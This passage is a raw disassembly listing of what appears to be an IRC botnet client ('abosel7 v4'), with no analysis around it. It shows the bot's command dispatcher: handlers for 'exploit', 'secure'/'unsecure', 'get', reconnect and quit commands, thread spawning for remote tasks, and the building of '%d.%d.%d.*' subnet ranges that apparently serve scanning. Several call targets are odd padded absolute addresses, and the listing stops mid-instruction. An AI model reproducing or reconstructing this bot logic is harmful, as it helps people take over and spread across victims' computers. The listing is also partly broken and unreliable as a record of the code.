push edi call sub_41B779 test eax, eax pop ecx jz short loc_403C43 push edi call sub_41B779 pop ecx jmp short loc_403C48 ; --------------------------------------------------------------------------- loc_403C43: ; CODE XREF: sub_401ACD+2160j ; sub_401ACD+216Bj mov eax, dword_42907C loc_403C48: ; CODE XREF: sub_401ACD+2174j mov esi, [ebp+esi+var_88] mov [ebp+var_36C8], eax xor eax, eax cmp [ebp+var_8FC], bl setz al cmp esi, ebx mov [ebp+var_36B4], eax jz short loc_403C7B lea eax, [ebp+var_37CC] push esi push eax call sub_41B886 pop ecx pop ecx jmp short loc_403CA6 ; --------------------------------------------------------------------------- loc_403C7B: ; CODE XREF: sub_401ACD+219Bj lea eax, [ebp+var_4FF4] push 104h push eax nop call near ptr 266091Fh push ebx push ebx lea eax, [ebp+var_4C8] push ebx push eax lea eax, [ebp+var_4FF4] push eax call sub_41B9D1 add esp, 14h loc_403CA6: ; CODE XREF: sub_401ACD+21ACj lea eax, [ebp+var_37CC] push eax call sub_41AFE0 cmp [ebp+eax+var_37CD], 5Ch pop ecx jnz short loc_403CD1 lea eax, [ebp+var_37CC] push eax call sub_41AFE0 pop ecx mov [ebp+eax+var_37CD], bl loc_403CD1: ; CODE XREF: sub_401ACD+21EEj push [ebp+var_88] mov esi, [ebp+arg_4] lea eax, [ebp+var_3A54] mov [ebp+var_3A58], esi push 80h push eax call sub_41B980 mov eax, [ebp+var_8] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_36B8], eax lea eax, [ebp+var_37CC] mov [ebp+var_36BC], edi push eax push [ebp+var_36C8] push esi call sub_40AC0F pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42BE18 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 3 push eax call sub_40B0F6 add esp, 20h mov [ebp+var_36C0], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3A58] push ebx push eax push offset sub_40F0D5 push ebx push ebx nop call near ptr 2660D86h mov ecx, [ebp+var_36C0] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_403D85 loc_403D73: ; CODE XREF: sub_401ACD+22B6j cmp [ebp+var_36AC], ebx jnz short loc_403DA0 push 32h nop call near ptr 2660D05h jmp short loc_403D73 ; --------------------------------------------------------------------------- loc_403D85: ; CODE XREF: sub_401ACD+22A4j call near ptr 267064Ch nop push eax push offset unk_42BDDC loc_403D91: ; CODE XREF: sub_401ACD+2419j ; sub_401ACD+4D04j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_403DA0: ; CODE XREF: sub_401ACD+22ACj ; sub_401ACD+23FDj ... cmp [ebp+var_8], ebx jnz loc_4083BC push ebx push edi jmp loc_407285 ; --------------------------------------------------------------------------- loc_403DB0: ; CODE XREF: sub_401ACD+1B11j ; sub_401ACD+1B26j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_403DCF push edi call sub_41B779 test eax, eax pop ecx jz short loc_403DCF push edi call sub_41B779 pop ecx jmp short loc_403DD4 ; --------------------------------------------------------------------------- loc_403DCF: ; CODE XREF: sub_401ACD+22ECj ; sub_401ACD+22F7j mov eax, dword_429080 loc_403DD4: ; CODE XREF: sub_401ACD+2300j mov [ebp+var_1824], eax mov eax, [ebp+esi+var_88] cmp eax, ebx jnz short loc_403DEB lea eax, [ebp+var_C4] loc_403DEB: ; CODE XREF: sub_401ACD+2316j push eax lea eax, [ebp+var_1964] push 40h push eax call sub_41B980 mov esi, [ebp+esi+var_84] add esp, 0Ch cmp esi, ebx jnz short loc_403E0D mov esi, offset dword_43D158 loc_403E0D: ; CODE XREF: sub_401ACD+2339j push esi lea eax, [ebp+var_1924] push 100h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_19E4] push [ebp+var_88] push 80h push eax call sub_41B980 mov eax, [ebp+var_8] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_1810], eax lea eax, [ebp+var_1964] push eax mov [ebp+var_19E8], esi push [ebp+var_1824] mov [ebp+var_1814], edi push esi call sub_40AC0F pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42BDA0 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 9 push eax call sub_40B0F6 add esp, 20h mov [ebp+var_1820], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_19E8] push ebx push eax push offset byte_410A4D push ebx push ebx nop call near ptr 2660D86h mov ecx, [ebp+var_1820] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_403EDA loc_403EC4: ; CODE XREF: sub_401ACD+240Bj cmp [ebp+var_180C], ebx jnz loc_403DA0 push 32h call near ptr 2660D05h nop jmp short loc_403EC4 ; --------------------------------------------------------------------------- loc_403EDA: ; CODE XREF: sub_401ACD+23F5j nop call near ptr 267064Ch push eax push offset unk_42BD64 jmp loc_403D91 ; --------------------------------------------------------------------------- loc_403EEB: ; CODE XREF: sub_401ACD+1AE7j ; sub_401ACD+1AFCj mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_403EFE push esi call sub_41B779 jmp short loc_403F05 ; --------------------------------------------------------------------------- loc_403EFE: ; CODE XREF: sub_401ACD+2427j push 0Bh call sub_40B35D loc_403F05: ; CODE XREF: sub_401ACD+242Fj cmp eax, ebx pop ecx jz loc_409854 push eax push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40BA56 jmp loc_4043B9 ; --------------------------------------------------------------------------- loc_403F25: ; CODE XREF: sub_401ACD+1ABDj ; sub_401ACD+1AD2j mov eax, dword_4CAEC0 cmp eax, ebx jz short loc_403F42 call eax test eax, eax jz short loc_403F3B push offset unk_42BD40 jmp short loc_403F47 ; --------------------------------------------------------------------------- loc_403F3B: ; CODE XREF: sub_401ACD+2465j push offset unk_42BD14 jmp short loc_403F47 ; --------------------------------------------------------------------------- loc_403F42: ; CODE XREF: sub_401ACD+245Fj push offset unk_42BCE8 loc_403F47: ; CODE XREF: sub_401ACD+246Cj ; sub_401ACD+2473j ... lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 jmp loc_406CDB ; --------------------------------------------------------------------------- loc_403F5D: ; CODE XREF: sub_401ACD+1A93j ; sub_401ACD+1AA8j call sub_40AB31 test eax, eax jz short loc_403F6D push offset unk_42BCC4 jmp short loc_403F47 ; --------------------------------------------------------------------------- loc_403F6D: ; CODE XREF: sub_401ACD+2497j push offset unk_42BC98 jmp short loc_403F47 ; --------------------------------------------------------------------------- loc_403F74: ; CODE XREF: sub_401ACD+1A69j ; sub_401ACD+1A7Ej cmp [ebp+var_8], ebx jnz short loc_403F93 push ebx push [ebp+var_4] push offset dword_42BC80 push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_403F93: ; CODE XREF: sub_401ACD+24AAj push ebx push [ebp+var_4] call sub_4181D6 push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 push offset dword_42BC64 jmp loc_404285 ; --------------------------------------------------------------------------- loc_403FB5: ; CODE XREF: sub_401ACD+18F9j ; sub_401ACD+190Ej push 0Ah call sub_40B33E test eax, eax pop ecx jle short loc_403FCB push offset unk_42BC38 jmp loc_409601 ; --------------------------------------------------------------------------- loc_403FCB: ; CODE XREF: sub_401ACD+24F2j push [ebp+var_88] push [ebp+arg_4] call sub_419C64 pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_403FEA push offset unk_42BC10 jmp loc_409601 ; --------------------------------------------------------------------------- loc_403FEA: ; CODE XREF: sub_401ACD+2511j push offset unk_42BBF0 jmp loc_409601 ; --------------------------------------------------------------------------- loc_403FF4: ; CODE XREF: sub_401ACD+18CFj ; sub_401ACD+18E4j push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40A7CE jmp loc_401E91 ; --------------------------------------------------------------------------- loc_40400D: ; CODE XREF: sub_401ACD+18A5j ; sub_401ACD+18BAj push [ebp+esi+var_8C] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_416C28 jmp loc_401E91 ; --------------------------------------------------------------------------- loc_40402A: ; CODE XREF: sub_401ACD+187Bj ; sub_401ACD+1890j or edi, 0FFFFFFFFh nop call near ptr 268068Bh xor edx, edx mov ecx, 3E8h div ecx mov esi, [ebp+esi+var_8C] cmp esi, ebx mov [ebp+arg_0], eax jz short loc_404053 push esi call sub_41B779 pop ecx mov edi, eax loc_404053: ; CODE XREF: sub_401ACD+257Bj mov eax, [ebp+arg_0] xor edx, edx mov ecx, 15180h div ecx cmp eax, edi jnb short loc_40406C cmp edi, 0FFFFFFFFh jnz loc_409854 loc_40406C: ; CODE XREF: sub_401ACD+2594j push ebx call sub_41A88B pop ecx push eax lea eax, [ebp+var_2C4] push offset dword_42BBD8 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 lea eax, [ebp+var_2C4] push eax call sub_4151AC loc_4040AA: ; CODE XREF: sub_401ACD+529Cj add esp, 24h jmp loc_409854 ; --------------------------------------------------------------------------- loc_4040B2: ; CODE XREF: sub_401ACD+1851j ; sub_401ACD+1866j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_415A2F add esp, 0Ch push offset dword_42BBB8 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_4040D0: ; CODE XREF: sub_401ACD+1827j ; sub_401ACD+183Cj push 27h call sub_40B33E test eax, eax pop ecx jle short loc_404104 cmp [ebp+var_8], ebx jnz loc_401E94 push ebx push [ebp+var_4] push offset unk_42BB98 push [ebp+var_88] push [ebp+arg_4] call sub_409A72 loc_4040FC: ; CODE XREF: sub_401ACD+7237j add esp, 14h jmp loc_401E94 ; --------------------------------------------------------------------------- loc_404104: ; CODE XREF: sub_401ACD+260Dj push [ebp+var_88] lea eax, [ebp+var_B2C] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_8C] mov [ebp+var_B30], eax mov eax, [ebp+var_4] mov [ebp+var_AA4], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_AA0], eax mov [ebp+var_AA8], ebx jz short loc_404165 push esi push offset aFull ; "full" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404165 mov [ebp+var_AA8], 1 loc_404165: ; CODE XREF: sub_401ACD+267Bj ; sub_401ACD+268Cj lea eax, [ebp+var_2C4] push offset dword_42BB74 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 27h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_AAC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_B30] push ebx push eax push offset sub_4198EB push ebx push ebx nop call near ptr 2660D86h mov ecx, [ebp+var_AAC] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_4041D3 loc_4041BD: ; CODE XREF: sub_401ACD+2704j cmp [ebp+var_A9C], ebx jnz loc_409630 push 32h call near ptr 2660D05h nop jmp short loc_4041BD ; --------------------------------------------------------------------------- loc_4041D3: ; CODE XREF: sub_401ACD+26EEj call near ptr 267064Ch nop push eax lea eax, [ebp+var_2C4] push offset unk_42BB38 push eax call sub_41B886 add esp, 0Ch jmp loc_409630 ; --------------------------------------------------------------------------- loc_4041F3: ; CODE XREF: sub_401ACD+17FDj ; sub_401ACD+1812j cmp [ebp+var_8], ebx jnz short loc_404212 push ebx push [ebp+var_4] push offset dword_42BB1C push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_404212: ; CODE XREF: sub_401ACD+2729j push [ebp+arg_4] call dword_4CB03C call dword_4CAEFC call sub_418359 push ebx nop call near ptr 77E75CB5h loc_40422D: ; CODE XREF: sub_401ACD+17D3j ; sub_401ACD+17E8j push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push eax call sub_41AA42 pop ecx pop ecx push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 push offset dword_42BB00 jmp short loc_404285 ; --------------------------------------------------------------------------- loc_404258: ; CODE XREF: sub_401ACD+17A9j ; sub_401ACD+17BEj push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_41ACF6 add esp, 0Ch push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 push offset dword_42BAE4 loc_404285: ; CODE XREF: sub_401ACD+24E3j ; sub_401ACD+2789j call sub_4151AC add esp, 18h jmp loc_409854 ; --------------------------------------------------------------------------- loc_404292: ; CODE XREF: sub_401ACD+177Fj ; sub_401ACD+1794j push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_41524C jmp loc_401E91 ; --------------------------------------------------------------------------- loc_4042AB: ; CODE XREF: sub_401ACD+1755j ; sub_401ACD+176Aj cmp [ebp+var_C], ebx mov [ebp+var_1594], bl jz short loc_4042EA mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_4042EA push esi push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_4042EA push eax push offset aS_1 ; "%s" lea eax, [ebp+var_1594] push 80h push eax call sub_41B980 add esp, 10h loc_4042EA: ; CODE XREF: sub_401ACD+27E7j ; sub_401ACD+27F2j ... push [ebp+var_88] lea eax, [ebp+var_1614] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_1618], eax mov eax, [ebp+var_4] mov [ebp+var_1510], eax mov eax, [ebp+var_8] mov [ebp+var_150C], eax lea eax, [ebp+var_2C4] push offset dword_42BACC push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 25h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_1514], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1618] push ebx push eax push offset byte_41528D push ebx push ebx nop call near ptr 2660D86h mov ecx, [ebp+var_1514] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_40438D loc_404377: ; CODE XREF: sub_401ACD+28BEj cmp [ebp+var_1508], ebx jnz loc_401E94 push 32h nop call near ptr 2660D05h jmp short loc_404377 ; --------------------------------------------------------------------------- loc_40438D: ; CODE XREF: sub_401ACD+28A8j nop call near ptr 267064Ch push eax push offset unk_42BA94 jmp loc_402077 ; --------------------------------------------------------------------------- loc_40439E: ; CODE XREF: sub_401ACD+172Bj ; sub_401ACD+1740j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_415134 push offset dword_42BA7C call sub_4151AC loc_4043B9: ; CODE XREF: sub_401ACD+2453j add esp, 10h jmp loc_409854 ; --------------------------------------------------------------------------- loc_4043C1: ; CODE XREF: sub_401ACD+1701j ; sub_401ACD+1716j push [ebp+var_88] lea eax, [ebp+var_BC4] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_8C] mov [ebp+var_BC8], eax mov eax, [ebp+var_4] mov [ebp+var_B3C], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_B38], eax jz short loc_40441B push offset dword_42BA78 push esi call sub_41C070 neg eax sbb eax, eax pop ecx inc eax pop ecx mov [ebp+var_B40], eax jmp short loc_404421 ; --------------------------------------------------------------------------- loc_40441B: ; CODE XREF: sub_401ACD+2932j mov [ebp+var_B40], ebx loc_404421: ; CODE XREF: sub_401ACD+294Cj lea eax, [ebp+var_2C4] push offset dword_42BA58 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 28h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_B44], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_BC8] push ebx push eax push offset byte_40B161 push ebx push ebx nop call near ptr 2660D86h mov ecx, [ebp+var_B44] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_40448F loc_404479: ; CODE XREF: sub_401ACD+29C0j cmp [ebp+var_B34], ebx jnz loc_406CFF push 32h nop call near ptr 2660D05h jmp short loc_404479 ; --------------------------------------------------------------------------- loc_40448F: ; CODE XREF: sub_401ACD+29AAj nop call near ptr 267064Ch push eax push offset unk_42BA1C jmp loc_409226 ; --------------------------------------------------------------------------- loc_4044A0: ; CODE XREF: sub_401ACD+1685j ; sub_401ACD+169Aj push offset aDark ; "Dark" push offset dword_42BA04 loc_4044AA: ; CODE XREF: sub_401ACD+2A1Cj lea eax, [ebp+var_2C4] push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 20h jmp loc_406CFF ; --------------------------------------------------------------------------- loc_4044D7: ; CODE XREF: sub_401ACD+165Bj ; sub_401ACD+1670j push dword_4CACE4 call sub_41A88B pop ecx push eax push offset unk_42B9D8 jmp short loc_4044AA ; --------------------------------------------------------------------------- loc_4044EB: ; CODE XREF: sub_401ACD+1631j ; sub_401ACD+1646j mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_40451D cmp [ebp+var_C], ebx jz short loc_40452C push esi push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_40452C push eax push offset aQuitS ; "QUIT :%s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 0Ch jmp short loc_40452C ; --------------------------------------------------------------------------- loc_40451D: ; CODE XREF: sub_401ACD+2A27j push offset aQuitLater ; "QUIT :later\r\n" push [ebp+arg_4] call sub_409A2C pop ecx pop ecx loc_40452C: ; CODE XREF: sub_401ACD+2A2Cj ; sub_401ACD+2A3Bj ... push 0FFFFFFFEh jmp loc_401E96 ; --------------------------------------------------------------------------- loc_404533: ; CODE XREF: sub_401ACD+1607j ; sub_401ACD+161Cj push offset aQuitDisconnect ; "QUIT :disconnecting\r\n" push [ebp+arg_4] call sub_409A2C push offset dword_42B988 call sub_4151AC add esp, 0Ch or eax, 0FFFFFFFFh jmp loc_401E97 ; --------------------------------------------------------------------------- loc_404555: ; CODE XREF: sub_401ACD+15DDj ; sub_401ACD+15F2j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_409A2C push offset dword_42B954 call sub_4151AC add esp, 0Ch jmp loc_4097B9 ; --------------------------------------------------------------------------- loc_404574: ; CODE XREF: sub_401ACD+15B3j ; sub_401ACD+15C8j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B7DA jmp loc_404933 ; --------------------------------------------------------------------------- loc_40458A: ; CODE XREF: sub_401ACD+1589j ; sub_401ACD+159Ej push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B785 jmp loc_404933 ; --------------------------------------------------------------------------- loc_4045A0: ; CODE XREF: sub_401ACD+155Fj ; sub_401ACD+1574j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B719 jmp loc_404933 ; --------------------------------------------------------------------------- loc_4045B6: ; CODE XREF: sub_401ACD+1535j ; sub_401ACD+154Aj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B64A jmp loc_404933 ; --------------------------------------------------------------------------- loc_4045CC: ; CODE XREF: sub_401ACD+1490j ; sub_401ACD+14A5j push [ebp+esi+var_8C] push 27h push offset dword_42B944 push offset dword_42B934 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_4045E4: ; CODE XREF: sub_401ACD+1466j ; sub_401ACD+147Bj push [ebp+esi+var_8C] push 24h push offset dword_42B928 push offset dword_42B918 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_4045FC: ; CODE XREF: sub_401ACD+1082j ; sub_401ACD+1097j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_40461B push edi call sub_41B779 test eax, eax pop ecx jz short loc_40461B push edi call sub_41B779 pop ecx jmp short loc_404620 ; --------------------------------------------------------------------------- loc_40461B: ; CODE XREF: sub_401ACD+2B38j ; sub_401ACD+2B43j mov eax, dword_429074 loc_404620: ; CODE XREF: sub_401ACD+2B4Cj mov esi, [ebp+esi+var_88] mov [ebp+var_590], eax cmp esi, ebx jz short loc_404645 push esi loc_404632: ; CODE XREF: sub_401ACD+2B87j lea eax, [ebp+var_5A0] push 10h push eax call sub_41B980 add esp, 0Ch jmp short loc_40465C ; --------------------------------------------------------------------------- loc_404645: ; CODE XREF: sub_401ACD+2B62j cmp [ebp+var_8FF], bl jz short loc_404656 lea eax, [ebp+var_C4] push eax jmp short loc_404632 ; --------------------------------------------------------------------------- loc_404656: ; CODE XREF: sub_401ACD+2B7Ej mov [ebp+var_5A0], bl loc_40465C: ; CODE XREF: sub_401ACD+2B76j mov eax, [ebp+var_4] push [ebp+var_88] mov esi, [ebp+arg_4] mov [ebp+var_584], eax mov eax, [ebp+var_8] push 80h mov [ebp+var_580], eax lea eax, [ebp+var_620] push eax mov [ebp+var_624], esi call sub_41B980 add esp, 0Ch push [ebp+var_590] push esi call sub_40AC0F pop ecx push eax lea eax, [ebp+var_2C4] push offset dword_42B8F0 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 19h push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_58C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_624] push ebx push eax push offset byte_4111CD push ebx push ebx nop call near ptr 2660D86h mov ecx, [ebp+var_58C] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_40470D loc_4046F7: ; CODE XREF: sub_401ACD+2C3Ej cmp [ebp+var_57C], ebx jnz loc_401E94 push 32h nop call near ptr 2660D05h jmp short loc_4046F7 ; --------------------------------------------------------------------------- loc_40470D: ; CODE XREF: sub_401ACD+2C28j nop call near ptr 267064Ch push eax push offset dword_42B8B4 jmp loc_402077 ; --------------------------------------------------------------------------- loc_40471E: ; CODE XREF: sub_401ACD+1018j ; sub_401ACD+102Dj mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_40473E push esi call sub_41B779 test ax, ax pop ecx jz short loc_40473E push esi call sub_41B779 pop ecx jmp short loc_404744 ; --------------------------------------------------------------------------- loc_40473E: ; CODE XREF: sub_401ACD+2C5Aj ; sub_401ACD+2C66j mov ax, word_429084 loc_404744: ; CODE XREF: sub_401ACD+2C6Fj push [ebp+var_88] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] mov [ebp+var_97C], ax mov eax, [ebp+var_8] push 80h mov [ebp+var_96C], eax lea eax, [ebp+var_9FC] push eax mov [ebp+var_A00], esi mov [ebp+var_970], edi call sub_41B980 movzx eax, [ebp+var_97C] add esp, 0Ch push eax push esi call sub_40AC0F pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42B888 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push edi push eax push [ebp+var_88] push esi call sub_409A72 push ebx lea eax, [ebp+var_2C4] push 6 push eax call sub_40B0F6 add esp, 30h mov [ebp+var_978], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A00] push ebx push eax push offset byte_40E503 push ebx push ebx nop call near ptr 2660D86h mov ecx, [ebp+var_978] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_404813 loc_4047FD: ; CODE XREF: sub_401ACD+2D44j cmp [ebp+var_968], ebx jnz loc_401E94 push 32h nop call near ptr 2660D05h jmp short loc_4047FD ; --------------------------------------------------------------------------- loc_404813: ; CODE XREF: sub_401ACD+2D2Ej call near ptr 267064Ch nop push eax push offset unk_42B848 jmp loc_402077 ; --------------------------------------------------------------------------- loc_404824: ; CODE XREF: sub_401ACD+FC4j ; sub_401ACD+FD9j ... push edi push offset aSecure ; "secure" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_40484C push edi push offset aSec ; "sec" call sub_41C070 pop ecx mov [ebp+var_A10], ebx test eax, eax pop ecx jnz short loc_404856 loc_40484C: ; CODE XREF: sub_401ACD+2D66j mov [ebp+var_A10], 1 loc_404856: ; CODE XREF: sub_401ACD+2D7Dj push [ebp+var_88] lea eax, [ebp+var_A94] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] add esp, 0Ch cmp [ebp+var_A10], ebx mov [ebp+var_A98], eax mov eax, [ebp+var_4] mov [ebp+var_A0C], eax mov eax, [ebp+var_8] mov [ebp+var_A08], eax mov eax, offset aSecuring ; "Securing" jnz short loc_40489D mov eax, offset aUnsecuring ; "Unsecuring" loc_40489D: ; CODE XREF: sub_401ACD+2DC9j push eax push offset dword_42B814 lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 22h push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_A14], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A98] push ebx push eax push offset sub_419E19 push ebx push ebx nop call near ptr 2660D86h mov ecx, [ebp+var_A14] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_404911 loc_4048FB: ; CODE XREF: sub_401ACD+2E42j cmp [ebp+var_A04], ebx jnz loc_4083BC push 32h nop call near ptr 2660D05h jmp short loc_4048FB ; --------------------------------------------------------------------------- loc_404911: ; CODE XREF: sub_401ACD+2E2Cj call near ptr 267064Ch nop push eax push offset dword_42B7D8 jmp loc_4083AD ; --------------------------------------------------------------------------- loc_404922: ; CODE XREF: sub_401ACD+F9Aj ; sub_401ACD+FAFj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_41A6AE loc_404933: ; CODE XREF: sub_401ACD+2AB8j ; sub_401ACD+2ACEj ... add esp, 0Ch jmp loc_409854 ; --------------------------------------------------------------------------- loc_40493B: ; CODE XREF: sub_401ACD+F70j ; sub_401ACD+F85j push offset unk_42B728 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_404945: ; CODE XREF: sub_401ACD+F46j ; sub_401ACD+F5Bj push offset aAbosel7V4 ; "abosel7 v4" push offset dword_42B718 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_404954: ; CODE XREF: sub_401ACD+F1Cj ; sub_401ACD+F31j mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_4049AE push esi call sub_41B779 cmp eax, ebx pop ecx jl short loc_4049A6 cmp eax, 3 jge short loc_4049A6 mov edx, [ebp+arg_18] mov ecx, eax shl ecx, 7 cmp [ecx+edx], bl lea esi, [ecx+edx] jz short loc_40499E lea eax, [esi+1] push eax lea eax, [ebp+var_2C4] push offset unk_42C9F4 push eax call sub_41B886 add esp, 0Ch mov [esi], bl jmp loc_40828B ; --------------------------------------------------------------------------- loc_40499E: ; CODE XREF: sub_401ACD+2EB0j push eax push offset unk_42B6EC jmp short loc_4049EB ; --------------------------------------------------------------------------- loc_4049A6: ; CODE XREF: sub_401ACD+2E9Bj ; sub_401ACD+2EA0j push eax push offset unk_42B6C0 jmp short loc_4049EB ; --------------------------------------------------------------------------- loc_4049AE: ; CODE XREF: sub_401ACD+2E90j mov edi, [ebp+arg_18] xor esi, esi loc_4049B3: ; CODE XREF: sub_401ACD+2F02j push [ebp+var_90] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4049D6 inc esi add edi, 80h cmp esi, 3 jl short loc_4049B3 jmp loc_40828B ; --------------------------------------------------------------------------- loc_4049D6: ; CODE XREF: sub_401ACD+2EF6j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C4] push eax push offset unk_42C9F4 loc_4049EB: ; CODE XREF: sub_401ACD+2152j ; sub_401ACD+2ED7j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 jmp loc_408288 ; --------------------------------------------------------------------------- loc_4049FC: ; CODE XREF: sub_401ACD+EF2j ; sub_401ACD+F07j push [ebp+var_8C] push offset dword_42C968 call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4034A5 call sub_40B2BF push ebx nop call near ptr 77E75CB5h loc_404A22: ; CODE XREF: sub_401ACD+1A11j push offset aGet ; "get" push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404AB0 cmp dword_4CE758, ebx jz short loc_404A4A push offset dword_4CE138 loc_404A40: ; CODE XREF: sub_401ACD+2FE1j push offset unk_42B684 jmp loc_404AE0 ; --------------------------------------------------------------------------- loc_404A4A: ; CODE XREF: sub_401ACD+2F6Cj push 10h pop eax mov [ebp+var_2CC], eax push eax lea eax, [ebp+var_2E8] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_2CC] push eax lea eax, [ebp+var_2E8] push eax push [ebp+arg_4] call near ptr 71AB157Eh nop movzx eax, [ebp+var_2E2] push eax movzx eax, [ebp+var_2E3] push eax movzx eax, [ebp+var_2E4] push eax lea eax, [ebp+var_E30] push offset aD_D_D_ ; "%d.%d.%d.*" push eax call sub_41B886 add esp, 14h lea eax, [ebp+var_E30] push eax jmp short loc_404A40 ; --------------------------------------------------------------------------- loc_404AB0: ; CODE XREF: sub_401ACD+2F64j push esi call dword_4CAFE4 cmp eax, 0FFFFFFFFh push esi jnz short loc_404AC4 push offset unk_42B644 jmp short loc_404AE0 ; --------------------------------------------------------------------------- loc_404AC4: ; CODE XREF: sub_401ACD+2FEEj push offset dword_4CE138 call sub_41BEB0 pop ecx mov dword_4CE758, 1 pop ecx push esi push offset unk_42B618 loc_404AE0: ; CODE XREF: sub_401ACD+2F78j ; sub_401ACD+2FF5j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch jmp loc_4034FD ; --------------------------------------------------------------------------- loc_404AF4: ; CODE XREF: sub_401ACD+19F9j push edi push offset aExploit ; "exploit" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_404BF7 mov eax, [ebp+var_4] mov esi, offset aF ; "#f" mov [ebp+var_13E4], eax mov eax, [ebp+var_8] mov [ebp+var_13E0], eax mov eax, [ebp+arg_4] mov [ebp+var_13F4], eax mov edi, 80h push esi lea eax, [ebp+var_1474] push edi push eax mov 